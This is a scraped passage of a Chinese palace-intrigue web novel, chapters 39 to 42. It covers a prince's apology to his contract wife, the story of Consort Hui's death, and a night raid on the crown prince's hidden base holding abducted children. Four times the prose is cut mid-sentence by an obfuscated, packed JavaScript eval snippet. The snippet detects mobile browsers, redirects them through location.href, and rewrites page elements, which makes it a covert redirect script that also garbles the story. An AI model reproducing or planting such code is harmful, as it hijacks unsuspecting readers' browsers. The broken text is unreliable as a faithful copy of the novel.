歉没道成，但二人之间的关系变得更加微妙。梅倾秋不再那么明显地躲避他，反而对他视若无睹，有如陌路人一般。 这可不好受，这简直是对李秉昶最重的惩罚。而噩耗还在后头。 李秉昶瞧见矜儿忙前忙后地收拾东西，问其缘由，才知道梅倾秋要打道回太尉府。 任他怎么一根筋也懂得其中严重性，此番一去何时方回啊。故李秉昶下定决心，不能任她生着气回娘家。 另一头。梅倾秋用练字来调节心情，不时抬首望窗，等宁枝报信的飞鸽。 府内忽而吵杂不断，嚷叫声、掘土声、冲撞声接二连三。 “外头是何事？” 矜儿前去查看，片刻后回来应话，却也神神叨叨：“王妃还是亲自去看眼为好。” 梅倾秋放下毛笔，狐疑走出房。越过院墙见着红艳艳的花瓣，垂在瓦檐上，依风翻飞飘摇，舞落墙内来。 梅倾秋伸手接花瓣，身子穿过拱门，映入眼帘的便是开满园的梅花。 熟透艳红的梅树，屹立在她栽种的树苗之后。 不过两个时辰，院中就离奇生了梅花？一问，是王爷命人移植到院里的。 多走几步便能看见廊檐上蹦跶的鹦鹉，尖声学语：“对不起、对不起……” 再问，还是王爷的杰作。 重回寝室前的偏院，一柄剑大剌剌地放在石桌上。梅倾秋不禁止步观赏，认出此乃名镇江湖的名剑，闻言被收在皇室兵器库里，原是襄王的宝贝。 利剑出鞘，一纸‘赔礼’滑过眼前。梅倾秋两指夹住纸条，正面写着赔礼，背面写着对不起。 她忍俊不禁，收敛嘴角按下纸条，转身舞起剑。 剑式方过两招，斜后方不断传来衣角摩挲的窸窣声。梅倾秋耐不住性子了。剑刃拨起石子，身子后翻，石子后甩，砸中躲在房檐上的人。 “哎呀……” 李秉昶低吟一声，翻身下地，手指抓着那颗石子，掌心按揉着额角。 “我打中的是你的肩膀吧。” 被戳穿的人呆愣在地，尴尬垂下手。抓住这个机会：“你愿意与我说话了？” “王爷掏出此等宝贝，就为换我一句话？” 不待李秉昶回答，梅倾秋又道：“我说过了那事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309015|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就当没发生过。” “可我不想就此息事宁人，我想得到你的原谅。” 他过于诚恳。人们总难以拒绝这样的人。 “我理解王爷昨夜是心烦意乱，玉镯惹的祸。” 说罢她取下玉镯，上前归还。 “这本就是慧妃之物，应由王爷保管。” 她所做，也是为了给自己一个台阶。好让她不必深究那吻给两人带来的别扭和心理负担。 在李秉昶看来，这跟划清界限无甚区别。保不齐下一步就是终止契约。昨夜是情迷，当下才是意乱啊。 “贵妃赠予了你，便是你的东西了！” 李秉昶急了，寻了一堆理由来说服她留下。 “母妃去世时我年纪小，但也是听她说过的，这玉镯是要给儿媳妇的。尽管你我只是契约关系，无可置否，你就是我的夫人。” 李秉昶抓着她的五指，往回扣住那玉镯。 “母妃已经将它传给你了。” “我……” 梅倾秋稍加推搡，一身子的力气莫名无处使，竟也推不过他。她支支吾吾地应下：“那我代为保管，直到……契约结束的一天。” 说来奇怪，无论是口头承诺还是白纸黑字，都不曾写过契约终止的时间。他们当下延伸出的以后同样是一个未知。但二人都默契地抓住这暂时的‘安全’，将此事翻篇。 均未料到，另一套枷锁已将他们牢牢拴住。 “王爷……” 梅倾秋微微挪动手腕，李秉昶反应过来两人的手还抓着，匆忙松开手。不自然地摸了摸后脑勺。 梅倾秋将玉镯揣进荷包里，摆弄起手上的剑。 “如今这剑可还当赔礼？” “这是当然。这是你的剑了。” 李秉昶说着朝她扔来剑鞘，梅倾秋抬手抓住，利剑入鞘一气呵成。她垂首作揖：“谢过王爷。” “那梅树你从哪移来的？” “邻县拉来的。” 院墙矮，梅树枝探过瓦檐，枝头携红花瓣摇曳，迟来的梅季盛满庭。 “你可想上去瞧瞧？” 梅倾秋笑道。话毕，足下一蹬上了房檐，个头比梅树还高些。 她伸长剑鞘去揭梅花，花瓣当真伏在剑鞘上，顺从地到了她面前。 “你看。” 她捻起那片花瓣，给刚在房脊坐下的李秉昶看。 梅倾秋屈膝落座他身旁，问：“说起来宫里也不曾见着梅花。” “确实。”李秉昶后知后觉道。 “关于堇婳公主的事……你可要出面？” 李秉昶看了她一眼，轻叹道：“堇婳是我看着长大的，我理应出面。但依贵妃所言，我也确无立场。” “贵妃兴许只是气话。” 李秉昶垂眸拂衣，捻起落在身上的花瓣，攥在手心里放了一会，转而拾到她手中。 他低语：“你可愿听听慧妃的生平？” 闻言梅倾秋双眼放光，她对慧妃万分好奇。双手合握花瓣，郑重其事地点了点头。 “慧妃，原名吕绾，乃名将之女……” 40. 第 40 章 吕家世代出名将，功名显赫，吕绾作为吕家长女，博通经籍，知书达理。而李瞻在一众皇子里最没后台，其母妃是宫女。 李瞻的正妃自他十五岁迎娶，是宰相的幼女。而吕绾在他二十二岁嫁给他，是为侧妃。 民间曾流传一个说书人编写的版本，将二人的初遇说得天花乱坠，好为这段姻亲的悲伤走向铺垫。事实上，二人的初遇早在世人熟知的典故之前。 李瞻到吕府为吕父庆生，机缘巧合碰见了阁楼窗边的吕绾。 男女有别，二人终究只是遥遥相望，止乎于礼。吕绾垂眸离去，李瞻留连忘返，静看了半晌的空窗。 再次相遇是在三个月后。李瞻北征凯旋，城中百姓蜂拥围巷，民用马车靠边让行。他坐在马背上扫视臣民，于憧憧人影中瞧见一抹亮色。 坐在马车里的人微撩窗幔，双眼上挑，黛眉微蹙，目光谈不上傲慢，却自生一股生人勿近的清冷。令人望尘莫及。 李瞻暗中施力拽紧缰绳，队伍跟着放慢速度。吕绾也不畏不急，镇定自若地与他相视，末了恍似轻扬起了嘴角。 显然她还记得上次的相遇！李瞻大感惊喜，经过马车时他勒停马，躬身问候她的父亲，寻言：“改日到府上拜访。” 吕绾没料到他会赶在她放下窗幔时搭话，一时无错，肩上披帛经风吹拂，飘出马车，被李瞻探手抓住。 安州百姓都看到了这一幕，‘皇子挽纱’成了典故，给这对眷侣开了彩头。人人翘首以盼这对才子佳人的婚期，也如实给世人盼到了，皇帝在半个月后下旨赐婚。 二人成亲乃情投意合。吕绾比李瞻小六岁，智谋却与其不相上下，时常为李瞻的行事出谋划策。李瞻夺位之际，吕家倾力相助。 无论多么安稳的朝代，只要皇位发生动荡总会伴随杀戮，李瞻更甚，他弑兄夺位。且是天下尽知。 有言道长兄如父，而李瞻篡改先帝遗嘱，封宫逼位，是丧德失才之举，为天地不容。 奈何其手握兵权，坐拥吕卫梅三大勇将。（吕父、卫霆、梅穹）纵使民间生怨，李瞻也如愿登基，改国号元熹。 同时吕绾册封为慧妃。彼时关于‘慧妃或将封后’的传言传得沸沸扬扬，只因大宜子民都知道，皇帝独宠慧妃。 没成想同年，皇帝就纳了十余名妃嫔。 这下新皇愈受指摘。依仗妻家、贪图女色、君无德国将亡……等等言语漫天飞。 帝王多情，妃嫔成群，昔日的和睦夫妻生了间隙，慧妃质问他：“专一于帝王家是禁忌吗！” 皇帝气急，抬手就要挨近她脸颊，被一双充盈泪水的眼睛喝住。那泪硕大，生生镶在眼眶里，就是不肯垂落。 “陛下可是忘了曾应允我什么？” 慧妃高估了人性，轻信了情比金坚这个虚词。 不曾有人提醒她。如果陛下忘了，世人也该忘。否则，你挑起的非但不会是他的良心，还会是欲加之罪。 元熹二年。朝纲不稳，皇帝急于镇压反对的声音，为此他‘大义灭亲’，将助自己夺位成功的功臣、慧妃的哥哥处死了。罪名贪污。 末了摆出一副痛失人才的假慈悲嘴脸，‘开恩’免诛族亲。慧妃的父亲一世英勇，无奈落了个解甲归田的地步，才幸免于难。 慧妃心灰意冷，与皇帝彻底决裂，自愿搬进冷宫。皇帝深爱慧妃，但更爱自己的权利。慧妃之举在他看来，无异于对皇权的蔑视。 自卑心虚的皇帝偏偏与她作对，不将她打入冷宫，而是软禁在永粹宫里。却下诏通告世人：慧妃被废，打入冷宫。 古往今来，何曾有皇帝将后宫妃嫔的赐罚专门昭告天下的。这是对慧妃吕绾，乃至吕家三代精忠的侮辱。 听到消息的吕父，突发恶疾，客死他乡。 而二皇子李秉昶彼时不过六岁，被迫与生母分开，由昭嫔（昭贵妃）抚养。 慧妃本□□憎分明，对皇帝恨之入骨。被软禁的两年里她看淡了情爱，但仍对人世存念，只想逃离皇宫。 昭嫔与慧妃以姐妹相称，昭嫔抚养二皇子期间，曾偷偷带二皇子到永粹宫的宫墙外，母子隔墙传音，听者悲切。故而，当慧妃提起逃亡二字，几人又惊又喜，当即同意。 说来荒谬。此番逃行，主角是慧妃与二皇子，参与的推手几乎遍布整个皇宫。在混无人知的角落，宫女们团结一致，要助慧妃安全脱身。 皇帝信奉道教，痛失慧妃后愈加沉迷道法，央求长生。朝会从三天一次，变成五天一次，后又变成十天一次。处理政务的时间也日渐缩减，终日独居道房。 表面上远离女色，不再纳妃，背地里却时不时迫害宫女。宫女们暗中对皇帝怨入骨髓，却求路无门，只能盼着年限到了出宫去。普天之下，莫非王土。 身不由己的女人们将希望寄托在慧妃身上，或者说是在等着慧妃为她们实践出一条生路。 计划选在皇帝生辰当日。那日大批朝臣入宫，鱼龙混杂，可作遮掩。一名宫女找来管事公公，道永粹宫传出慧妃喊疼的哀嚎，怕是患了什么病症。公公唯恐担罪，自身走不开，将钥匙交给宫女，又命两名宦官跟着。 永粹宫宫门上栓的锁一经拉开，两名宦官推开宫女迈过门槛，鞋履刚刚着地，后脖被板砖敲击，晕了过去。 慧妃换好宫女的服饰，混在之中。她被领到昭嫔的宫殿，两年未见的儿子侯在院中，个子高了，比她想象的还要挺拔。母子终于不受院墙阻拦，相拥恸哭。 “姐姐，抓紧时间。入宫送酒的马夫会掩护你出宫门，出了宫门一切就看你自己的了。” 昭嫔握住慧妃的手，慧妃紧紧反握。取下腕上玉镯，赠予昭嫔：“妹妹之恩，我无以回报，若得再见，只盼你我不再屈人难行。” 宫女们不惜代价，马夫却是贪财之徒。收了钱财阳奉阴违，向皇帝高密，马车径直走到皇帝面前。 参与逃宫计划的人瑟瑟发抖，做足了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323330|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被凌迟处死的准备。可当晚风平浪静，金吾卫也没到处抓人，宫里同样载歌载舞。仿佛这连串的惊心动魄都是一场梦。 而翌日的圣旨说明了，昨夜的行动确实改变了什么：慧妃复位。 慧妃重得圣宠，在以命相救的宫女眼中，犹如背叛。在各怀鬼胎的朝臣眼中，亦如祸水。因为在复位后的一年里，慧妃数次参与朝政大事。 殊不知，慧妃才是真正身不由己的那个人。她屈服皇权，为的是那夜十余名宫女的安全，参政更是无稽之谈。皇帝信道，荒废政事，但他并不傻。后宫参政只是用来应付朝臣的幌子，她依然只是被软禁的妃子。只不过皇帝多给了她一样东西，爱。 慧妃险些逃出宫这件事警醒了皇帝，他如梦初醒，愈加害怕失去她，愈加变本加厉地爱她。这种爱是霸道的、惊慌的、令人窒息的。 便是皇帝的行为，促使了慧妃求死。 逃不掉的皇宫于她而言跟地狱没有两样，她高昂头颅，身着盛装，也与死去无异。 慧妃自缢是在开春时。那日戌时刚过，九岁的李秉昶自书院回宫，见永粹宫里一个宫女宦官都没有，院中灯笼也不点燃，唯有正厅透出微弱的火光。 李秉昶走近，窗纱上方有道摇晃的黑影，他定睛细看，像是扎成圈的粗绳，在半空中来回飘荡。 他呼吸急促，张口将夜的阴冷吞下。手掌推开木门，门板格外冰寒。 那不是粗绳，而是白绫，牢牢挂在房梁上。 白绫的正下方有两具身体，一人躺着，一人坐着。是皇帝抱着慧妃。 皇帝倏地抬头，狠戾的目光将他死死钉在原地，如同一把刀。他真的扔来了一把刀，朝他的儿子。 李秉昶欠身避开刀锋，刀尖深扎门框。他僵直身体去拔下匕首，缓缓靠近，曲膝跪在慧妃身边。 慧妃双目紧闭，眉头舒展，竟看上去安详得很。 “是你赐死的吗？”李秉昶问。 这是他首次以‘你’字问候他的父亲。 皇帝佝偻着腰，身子微微伏摆，仿佛身上的骨头都碎了。昏暗中他的双眼注视着李秉昶，道：“是我，你又当如何？” 李秉昶翻转手腕，起身刺了他一刀。鲜血瞬即翻涌覆上他手背。 皇帝吼间低颤，抬手猛将他推开，怒骂：“你这个逆子！” “你也将我处死啊！”李秉昶反吼道。 他的个头与皇帝腹间所插的匕首齐平，他目光灼灼地盯着那匕首，好似卯足了劲，要施力再刺一刀。 “否则我不会放弃给我的母妃报仇。” 父子僵持了半晌，皇帝得了触动，冷哼一声，拔出匕首丢在地上，转身走了。 自此慧妃之死成了谜，永粹宫成了禁地，二皇子刺伤皇帝的事却没有第三个人知道。 二皇子继续由昭嫔抚养，长大封王后也不予封地，反而困于都城。旁人不解，父子二人心知肚明，彼此都揣着什么心思。 41. 第 41 章 入了夜的密林阒然无声，唯有枝叶拍打黑暗的窸窣声。 两抹黑影曲身跳跃，敏捷得难以辨析。宁枝和许骄松同蹲在树枝上，她取出火折子吹燃，映亮许骄松摊开的图纸。 “一会你要跟紧我。”她嘱咐道。 正欲吹灭火折子，火苗忽闪，宁枝偏头看见了一顶熟悉的棉帽。那是步桑的棉帽。 宁枝跳下树，拾起棉帽细看，确认无误。 “怎么了？”许骄松不解道。 “这是步桑的。” “上次那名女童？怎会出现在这里。” 双人相视一眼，同步望向远处的古堡。彼此心中都有了最坏的想法。 步桑居住在药铺里，但宁枝从不限制她的自由，她也时常外出几天不回。此番步桑是昨天上午出门的。 古堡之内比森林还阴冷，空旷且黑暗。陈设也很古怪，正厅中间莫名砌了面墙，石墙上镌刻经文。宁枝用火光映亮文字，手指在笔画边缘划动，寻找机关的可能。 “找到了！在这边。” 宁枝循声走去，屏风之后是一个暗门。 通道窄长，约莫只有四人宽，石壁木架上的油灯摇曳闪烁。宁枝吹灭手上的火折子，油灯将他们的影子打至身后，拉得细长。 “石壁刚砌不久，漏风得严重。”许骄松道。 话音刚落，杂碎的脚步声朝二人逼近。宁枝当即拉住许骄松，躲进右道。他们紧挨着石壁站立，来人影子由小变大，依声音辨析，对方有三人。 宁枝给许骄松打了两个手势，意思是：我二你一，我先上。 而后赶在来人即将擦肩而过的时候，宁枝伸手抓住他肩膀，左手反劈将其击晕，扯住衣领扔向另一个人。 第二个人反应迅速，登时手握匕首，不等发声，手腕被宁枝擒住往上扭，咔嗒一声骨头断裂。他微张的嘴巴被塞进一团布，只能扭曲着身体呜咽。 同一时刻，许骄松蹿了出来，剑鞘打飞第三个人的灯笼。从后捂住其嘴巴和脑袋，双手回旋，扭断脖子。 宁枝：“近日的孩童失踪案是你们干的！” 男子点头如捣蒜。手腕骨头断裂后连匕首都握不住，宁枝就着他的手抓匕首，刀尖整整转了半圈有余，刺入男子腹部。鲜血渗透口中白布，沿嘴角下流，男子阖目跪地。 窄道易生端倪，宁枝和许骄松便将三人的尸体搬到地面上，藏在废弃的钱箱里。顺道扒了他们的外衣换上。 继续沿蜿蜒通道直下，古堡的秘密基地在眼前袒露无疑。巡逻侍卫满地皆是，走几步就能见着一个，宁枝压低帽檐，避免与人对上视线。 迎面走来的男子领着三四名侍卫，宁枝一眼认出是太子的心腹傅骢。许骄松显然也认出了他，拉住宁枝的胳膊退到一旁，二人躬身低头。 傅骢瞥了他们两眼，径直穿过。正当宁枝以为安全了的时候，傅骢突又刹住脚步，扭过头：“你们两个，去撬开密室里面的人的嘴。” “是。”许骄松刻意将声腔压粗。 应是应了，做不做又是另一回事。待傅骢离去，两人又按着自己的节奏探究地下城，避免因为不认得前往密室的路而露馅，他们只能埋头自己找路。 地下城面积与古堡一般大，要想掘出这么大么地下通道，少说也得几载。太子这心思恐怕在当上太子之前就有了。 二人误打误撞找到了密室，那是在地下城最边缘的位置。巡逻侍卫减少，并有几乎不停歇的童音盘旋。 宁枝循声而行，走到了一堵石墙面前。这时她发现声音不是从墙后传出来的，而是从地下。于是二人又开始摸索机关。油灯、壁画、石缝、所有目光所及的地方都摸了一遍，却一无所获。宁枝愤恨地踢了一脚石壁，忽而轰隆烈烈，几步开外的地面向下凹陷，出现了垂直向下的石阶。 许骄松从石壁取下油灯，跟在宁枝身后照亮石阶。 火光唤醒昏暗，到达地面四处亮堂清明，却令人瞠目结舌。密室贴满了符咒，挂满了黄布幔，拂开布幔，是一个个相连而旋的孩童。他们被圈禁在栅栏之后，身穿赤黄道士服，手抓同一条布幔，围着圆形石台旋转，嘴上念念有词。仔细听，在诵经。 这个画面太过诡异，孩童们步履一致，眼神空洞，直愣愣地原地打转，仿佛丢了魂。 “宁枝？” 掺杂疑惑的怯音打破了这份骇人，宁枝心急地寻找这声音的来源，终于在左侧尽头的牢里看到了步桑。 步桑双手抓着栅栏，确信是宁枝后欣喜不已，她松开栅栏，探出去抓住宁枝的手。 “你真的在这里！发生了什么事？” 宁枝与许骄松半蹲在栅栏前，栅栏被铁链锁上，里面关押了三四名女童。如此说来，在隔壁诵经的都是男童。两处孩子的神态也不相同，准确来说，这边的孩子脸上还能看到恐惧或愤恨，那边的孩子脸上只有顺从。 步桑细说出现在这里的缘由。自从昨日早上被打晕，醒来她就被关在了这里，当时周围还有两个男孩。 被抓的孩童都要经过一个驯化的过程，不给吃食、威逼利诱等等让孩子服从。 服从的可以吃饭，相应的要念经文来换取食物，念得不对会被打。不服从的就得一直被饿肚子，步桑从被关进来到现在只喝了三口水。旁边的女童都比步桑年长，一直鼓励她不要屈服。 许骄松聆听了一会他们念叨的经文，默默在心里记下。提醒宁枝时间到了，再待下去容易暴露。 今日本就只是探路，不能打草惊蛇，贸然解救步桑也非上计。宁枝重扫视乱糟糟的狭挤牢房，承诺不出三日就会来救所有人出去。诵经的男童们也被吸引了，毫无血色的脸上浮现渴望的眼神。孩童们也承诺会对他们的闯入守口如瓶。 宁枝与许骄松原路撤退，在地下城出口出了差错。他们刚爬上地面，迎面走来两名巡逻。 “这么晚了要去哪？”其中一人问。 另一人掌灯将他们从上到下照了遍，灯盏低垂映着鞋履。宁枝右脚跟往后藏。侍卫们统一着装，宁枝与许骄松的鞋履细看就能看出区别。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337046|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们哪一队的。” 见乔装已然泄漏，宁枝索性不装了，抽出袖口里的短刀，迅速转身刮伤对面伸来的手。灯盏翻砸在地。许骄松同时出手压制另一人。 “刺客！有人闯进来了！” 宁枝一记飞脚踢晕喊话人，拉着许骄松跑出古堡。此话传不到地下通道，但还有三名巡逻兵在林中。林中瞬即涌出乌泱泱的脚步声。 他们翻爬上树，火苗点燃箭矢，先是胡乱发射一通，箭矢带着火映亮逃窜的二人。侍卫便有了追寻猎物的门路。而后再抽出利箭，瞄准逃窜的身影。 箭矢刺穿树叶，尖锐风声逼近耳膜，宁枝欠身避开，仍被刺中腹部。宁枝嘶叫一声，躲在树桩后面，她咬牙拔出箭，手按紧伤口。 “宁兄！你还好吗？”许骄松曲膝在她面前。 “箭上有毒。” “我背你。” 宁枝没来得及拒绝，就被许骄松直接抓住手腕驼起。宁枝始料不及，连忙用手臂挡在胸前。 敌方穷追不舍，许骄松背着她跑了一阵，下坡躲在石岩后。他将她靠放在石壁上，观察追兵的方位，待其接近再冲出去反杀。他们都蒙着面，但还是要避免他们活着回去报信。 许骄松在追兵的尸体上搜出钥匙，将尸体丢下坡，而后返回宁枝的所在位置。 毒素扩散，宁枝已经昏迷过去，面白唇紫。 施救要紧，许骄松解开宁枝的衣裳，黑衣之下裹着一层厚厚的白纱，本该是男儿胸膛的地方微微隆起。许骄松大惊失色，倏地弹开身体，眼睛上移，不可置信地瞧宁枝此时苍白的脸颊。 他深吸气吞咽下惊慌，重蹲在她面前，给她穿好衣服。转用匕首割开覆盖伤口的衣裳，将黑衣抠出了个洞，尽量排挤出掺毒的黑血，撕下自己的衣摆包扎伤口。 许骄松将宁枝圈在怀里驾马，同时手抓另一匹马儿。他正愁将宁枝带到哪里安顿，宁枝就迷迷糊糊恢复了意识，她双手搭上他的手腕，微张着嘴想说什么。 “要送你去哪里？你需要医治。” “到药铺……”宁枝虚弱道，“你曾到那找过倾秋。” “我知道了。” 说罢，许骄松拽紧缰绳加快速度。 抵达药铺已是夜半，灰暗街上寂寥无人，零星灯盏剧烈晃动。许骄松翻身下马，横抱起宁枝，用侧肩和膝盖急巴巴地叩门。 屋内亮起灯烛，脚步声小跑而来，锁闩卸下，竺月推开门吃了一惊：“宁枝！” 她偏身让进许骄松，重合上门，领着许骄松到宁枝的寝室。竺月与宁枝相伴已近一年，对宁枝的行踪时常一无所知，她也不曾追问，只知道她在做危险的事情。可见她衣裳沾血，如此虚弱的样子还是头一遭。 “她是不是中毒了？要不要我去襄王府请倾秋！”竺月习读医书有了一定效果，通过宁枝面部观察出是中毒迹象，但她毕竟不会医治。 “太晚了。”许骄松撸袖坐在床沿边，拜托竺月取来几样草药、纱布和清水，他来给她解毒。 42. 第 42 章 天微亮，梅倾秋就独自驾马出府。她直奔城外，到达一片荒芜人烟的小山丘，坡顶停着一辆马车。梅倾秋下马走向马车，马车旁的女婢接过缰绳，走远到在坡顶的另一边放风。 梅倾秋拨开马车布幔，坐在上面的是穆妮娅。 自从上回梅倾秋帮她堕胎，二人从亦敌亦友进化成了‘似友非敌’，梅倾秋关心她的身体，每回进宫都要给她好几个补身体的药单。但这次是傲娇的穆妮娅主动约她在宫外相见，而且神神秘秘的。 她进了马车坐在左侧，问：“太子妃找我何事？” 穆妮娅拂下斗篷帽，直言：“据我所知，你曾经是太子妃的候选，但你显然并不爱太子。那便是另有所图了。” 梅倾秋没想到她会提起这种陈年往事，笑道：“你是打算问责我吗？” “不。我想说的是，如果我能帮你达到你想做的事，我能得到什么好处？” 梅倾秋定睛瞧穆妮娅，察觉她的神态与往日不同，她显得心神不宁。 “看来公主心中已经有想要的东西了。”她换了一个称呼。 “助我回吐蕃。我知道襄王能做到。” 腕间逐渐收到压迫，梅倾秋反握住穆妮娅的手。 “发生了何事？你们放弃了？” 二人从未袒露心扉，却也心照不宣地拥有同一个目标，那就是推翻宜朝。为此穆妮娅不惜嫁给太子，却忽然火急火燎地扬言撤退。其中必有曲折。 穆妮娅直言，她偷听到了太子要杀牟达的计划，并有意让皇帝讨伐她的国家。太子迎娶穆妮娅，明面上维护两国友邦的关系，背地里始终是为了吞噬吐蕃的力量。 可牟达也不是省油的灯，他占着自己妹妹是太子妃，自己也开始与皇帝攀亲带故，愈加张狂地越过边界线，屡夺粮食马匹。 太子眼见拿捏不了牟达，反令自己蒙羞，索性就想借这次机会突袭吐蕃。目前形势已经不足以让穆妮娅按部就班地潜伏了，一旦打起战来她就成了人质。背叛族亲是她坚决不能容许的事。 朝中势力分为两党，太子党与襄王党。穆妮娅要想逃离太子，同时折断宜朝的‘七寸’，与襄王合作是最快的捷径。毕竟敌人的敌人就是朋友，他们都有急迫的目的：拉太子下马。 -两个时辰后。 昨日并肩闯密林的人，在襄王府门前再次相遇了。宁枝对中毒昏迷后的事情一概不知，今晨醒来床边就是竺月，望见自己换好的一袭干净衣裳，宁枝明了自己已经被竺月识破了女儿身。 彼时她满怀歉疚地跟她道歉，殊不知早在一年前，竺月就已经知道了她的隐瞒。她不曾多言，只道“你肯定有自己的原因。” ——“许公子守了一夜，方才刚走。是他为你解的毒，并且，他或许也察觉了你非男儿。” 宁枝回想起竺月说的话，打量着朝她走来的许骄松。 “你脸色煞白，怎不卧床休息？我来汇报昨夜行动就是了。”许骄松蹙眉道。 宁枝翻身下马，把缰绳递给马夫。 “我已经没事了。昨夜多谢许公子施救。” 许骄松若有心思地瞧了她一眼，又蓦地移开目光，草草回了声“不用谢”，便转身疾步进府。 “许公子走慢点，你怎突然这么急性子了？” “我不是一直这样吗……” “以往你总是有说不完的话，现今却似羞涩了？”宁枝紧跟在许骄松身后，“莫不是出了什么变故，令你对我改变了看法？” “没！”许骄松提高嗓音喝道。在面对宁枝的犀利目光时败下阵来，支支吾吾道：“我只是觉得自己该调节心性，不可口出狂言了，所以话才少了。” 说罢，他左顾右盼，恰好捕捉到矜儿的身影，嚷着问王爷何在？矜儿小跑过来回话，并为二人带路。许骄松再次健步如飞，就差越过矜儿作领路人了。 许骄松尽力将昨夜的经文在众人面前复述一遍，又提笔写在纸上。经文是被刻意打散的，乍听上去牛头不对马嘴，但细细聆听，又能决出其中蹊跷。 邪文般混乱的经文中，藏着修道人研习的长生文，其中两句来自《黄庭经》。 太子信奉道教央求长生，这不足为奇，但他绑架孩童为他诵经就大错特错了。 “他竟沉迷道教到这个地步。”李秉昶道。 “假使被他夺去阳寿的是他自己的儿子，他还会愿意吗！”梅倾秋愤然，忽而想起什么，转向李秉昶。 “我与你一个想法，他会。” 宁枝和许骄松还一头雾水，心意相通的二人只是相视一笑，仿佛已经参透了对方的意思，并暗中敲定了什么计划。并且神秘兮兮的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364064|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不肯讲与他们听。 梅倾秋：“说回营救行动。我也要去。” 李秉昶：“不行！这很危险，若出了什么差错你被捉住了，太子不会轻易放过你的。包括太尉。” 梅倾秋：“我会安全回来的。” 李秉昶：“我不同意。” 宁枝与许骄松面面相觑，但下一秒许骄松又羞怯地低下头。宁枝认为自己没有看错，那确实是羞怯的表情。出现在他脸上真是极其违和。宁枝想。 襄王夫妇争执不下，各有各的理。在场四人都心知肚明，让梅倾秋出马是最好的选择。其一：襄王已经没有兵可以用了，傅雁虽有投降意向，可他的亲哥哥傅骢就在地下城，不能冒这个险。其二：梅倾秋是个高手。 “只要你能拖延住太子，我们就有充分的逃脱时间。”梅倾秋道。“不要再反对我了。” 梅倾秋直接转过身，不给李秉昶反驳的机会，面向宁枝：“届时就在药铺碰面。” “收到。”宁枝与许骄松异口同声。 深感‘被背叛’的李秉昶双目圆睁，对着许骄松作拇指划过喉咙的动作。背后长眼睛的梅倾秋回眸，李秉昶立即放下手，不情愿地同意了她的安排。 梅倾秋：“但是宁枝，你的箭伤真的无碍吗？” 宁枝：“无碍，许公子帮我解了毒。” 梅倾秋：“许公子也懂医术？” 许骄松不知因何涨红了脸，经此一问整个人如同炮仗，一点就着。 “啊，我……我没有解……不是，对，我帮宁枝解了毒，此外什么都没有！” 注视着他的三人：“？” “怎么了？都看我做什么？”他被看得心虚，眼睛不由得乱瞟。他当真是喜怒哀乐都写在脸上的一个人。 “你才是怎么了？”李秉昶苦笑道，“倾秋不过问了你一句话，你怎这般慌张？” 闻言许骄松悄咪咪地瞥了宁枝一眼。宁枝直觉本就灵敏，当即偏头对上他的目光，四目相对，许骄松简直跟被逮住的耗子似的。因曾冒犯过她而面红耳赤。 “我哪有！”他提高音量，摆摆手转身就走，念念有词地给自己圆场：“我向来如此！得了，我走了，不用送我了！” 许骄松三步并作两，几乎是小跑着出了院，正厅里目送他离去的三人：“……”